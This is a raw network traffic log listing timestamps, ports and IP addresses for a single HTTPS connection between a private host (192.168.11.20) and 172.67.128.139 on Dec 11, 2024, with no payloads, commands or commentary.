Dec 11, 2024 12:15:49.935874939 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.935918093 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.936045885 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.936045885 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.936202049 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.936202049 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.936202049 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.936216116 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.936397076 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.937824965 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.937865973 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.937992096 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.937992096 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.938173056 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.938189983 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.938364029 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.938364029 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.938364029 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.939745903 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.939771891 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.939899921 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.939949989 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.939949989 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.939965010 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.940139055 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.940139055 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.940186977 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.941656113 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.941700935 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.941802979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.941848993 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.941848993 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.941864014 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.942028999 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.942028999 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.942028999 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.944165945 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.944206953 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.944380045 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.944396973 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.944564104 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.944564104 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.945925951 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.945966959 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.946093082 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.946093082 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.946275949 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.946275949 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.946275949 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.946297884 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.946465969 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.947655916 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.947669029 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.947839022 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.948019981 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.948019981 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.948019981 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.948024988 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.948211908 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.949650049 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.949661970 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.949759960 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.949805975 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.949851036 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.949853897 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.950040102 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.951941967 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.951956034 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.952294111 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.952294111 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.952294111 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.952294111 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.952302933 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.953886986 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.953897953 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.954242945 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.954242945 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.954242945 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.954242945 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.954252005 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.955857038 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.955871105 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.956207037 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.956207037 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.956207037 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.956213951 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.956402063 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.181094885 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.181098938 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.181157112 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.181448936 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.181448936 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.181448936 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.181454897 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.181699991 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.183238983 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.183239937 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.184088945 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.184088945 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.184094906 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.184278011 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.184278011 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.184906960 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.184916973 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.185077906 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.185257912 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.185257912 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.185257912 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.185261965 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.185450077 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.187084913 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.187096119 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.187752008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.187752008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.187756062 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.187943935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.188422918 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.188819885 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.188854933 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.189001083 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.189001083 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.189213037 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.189217091 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.189445972 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.191184998 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.191194057 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.191395998 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.191395998 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.191395998 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.191401958 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.191572905 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.191572905 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.193104982 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.193114996 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.193444967 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.193444967 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.193444967 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.193444967 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.193444967 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.193453074 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.193612099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.194993973 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.195002079 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.195139885 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.195189953 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.195369005 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.195377111 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.195923090 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.196970940 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.196980953 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.197345018 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.197345018 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.197345018 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.197351933 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.197540045 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.197638035 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.199409962 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.199440956 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.199558973 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.199791908 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.199791908 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.199799061 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.200001001 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.201276064 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.201284885 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.201425076 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.201473951 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.201473951 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.201478004 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.201653957 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.201653957 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.202183008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.203466892 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.203496933 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.203620911 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.203620911 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.203671932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.203679085 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.203850031 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.203850031 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.204044104 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.205102921 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.205111980 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.205250978 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.205483913 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.205491066 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.205677032 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.207319021 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.207329035 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.207428932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.207474947 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.207474947 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.207482100 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.207523108 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.207711935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.207711935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.452486992 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.452495098 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.452563047 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.452651024 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.452651024 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.452842951 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.452842951 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.452842951 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.452862024 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.453087091 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.454529047 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.454554081 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.454711914 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.454713106 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.454732895 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.454895973 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.454895973 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.455086946 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.456564903 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.456588030 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.456909895 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.456909895 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.456909895 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.456928015 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.457099915 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.457101107 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.458290100 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.458313942 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.458636999 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.458636999 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.458656073 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.458828926 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.459017038 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.460316896 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.460340023 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.460483074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.460664034 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.460855961 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.460855961 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.460872889 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.461019993 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.462788105 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.462815046 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.462950945 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.462950945 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.463131905 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.463131905 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.463131905 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.463148117 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.463295937 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.464529037 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.464555025 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.464669943 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.464941025 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.464941025 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.464956999 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.465136051 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.466514111 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.466540098 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.466679096 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.466679096 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.466861010 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.466873884 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.467055082 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.467055082 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.467055082 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.468584061 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.468610048 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.468744040 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.468744040 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.468744040 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.468764067 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.468924046 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.469118118 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.470597029 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.470623970 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.470947027 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.470947027 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.470968008 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.471329927 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.472896099 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.472922087 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.473061085 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.473062038 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.473244905 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.473244905 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.473244905 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.473264933 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.473531008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.474663019 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.474689007 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.475004911 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.475022078 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.475198984 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.476768017 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.476794004 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.477117062 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.477117062 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.477117062 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.477137089 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.477502108 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.478543997 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.478569984 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.478688002 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.478688002 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.478735924 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.478744984 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.478916883 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.479106903 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.481276989 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.481302977 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.481604099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.481604099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.481604099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.481604099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.481630087 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.481769085 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.481935978 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.482887030 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.482913971 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.483007908 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.483007908 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.483243942 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.483262062 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.483428955 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.676529884 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.676556110 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.677079916 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.677105904 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.677460909 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.678482056 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.678508043 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.678649902 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.678649902 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.678826094 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.678826094 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.678836107 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.679022074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.679022074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.680433989 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.680459976 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.680596113 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.680778027 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.680778027 CET	49782	443	192.168.11.20	172.67.128.139
